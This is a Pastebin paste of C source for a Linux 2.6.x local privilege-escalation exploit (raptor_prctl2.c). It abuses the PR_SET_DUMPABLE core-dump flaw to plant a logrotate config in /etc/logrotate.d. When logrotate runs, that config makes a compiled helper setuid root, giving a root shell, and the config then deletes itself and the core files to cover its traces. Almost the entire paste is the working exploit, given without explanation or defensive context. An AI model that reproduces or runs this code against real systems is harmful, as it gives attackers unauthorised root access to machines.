Advertisement
Guest User

Untitled

a guest
Jul 19th, 2018
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <signal.h>
  6. #include <sys/stat.h>
  7. #include <sys/resource.h>
  8. #include <sys/prctl.h>
  9.  
  10. #define INFO1 "raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate)"
  11. #define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
  12.  
  13. char payload[] = /* commands to be executed by privileged logrotate */
  14. "\n/var/log/core {\n daily\n size=0\n firstaction\n chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /var/log/core*\n endscript\n}\n";
  15.  
  16. char pwnage[] = /* build setuid() helper to circumvent bash checks */
  17. "echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
  18.  
  19. int main(void)
  20. {
  21. int pid;
  22. struct rlimit corelimit;
  23. struct stat st;
  24.  
  25. /* print exploit information */
  26. fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
  27.  
  28. /* prepare the setuid() helper */
  29. system(pwnage);
  30.  
  31. /* set core size to unlimited */
  32. corelimit.rlim_cur = RLIM_INFINITY;
  33. corelimit.rlim_max = RLIM_INFINITY;
  34. setrlimit(RLIMIT_CORE, &corelimit);
  35.  
  36. /* let's create a fake logfile in /var/log */
  37. if (!(pid = fork())) {
  38. chdir("/var/log");
  39. prctl(PR_SET_DUMPABLE, 2);
  40. sleep(666);
  41. exit(1);
  42. }
  43. kill(pid, SIGSEGV);
  44.  
  45. /* let's do the PR_SET_DUMPABLE magic */
  46. if (!(pid = fork())) {
  47. chdir("/etc/logrotate.d");
  48. prctl(PR_SET_DUMPABLE, 2);
  49. sleep(666);
  50. exit(1);
  51. }
  52. kill(pid, SIGSEGV);
  53.  
  54. /* did it work? */
  55. sleep(3);
  56. if ((stat("/var/log/core", &st) < 0) ||
  57. (stat("/etc/logrotate.d/core", &st) < 0)) {
  58. fprintf(stderr, "Error: Not vulnerable? See comments.\n");
  59. exit(1);
  60. }
  61.  
  62. /* total pwnage */
  63. fprintf(stderr, "Please wait until logrotate is run and check /tmp/pwned;)\n");
  64. exit(0);
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement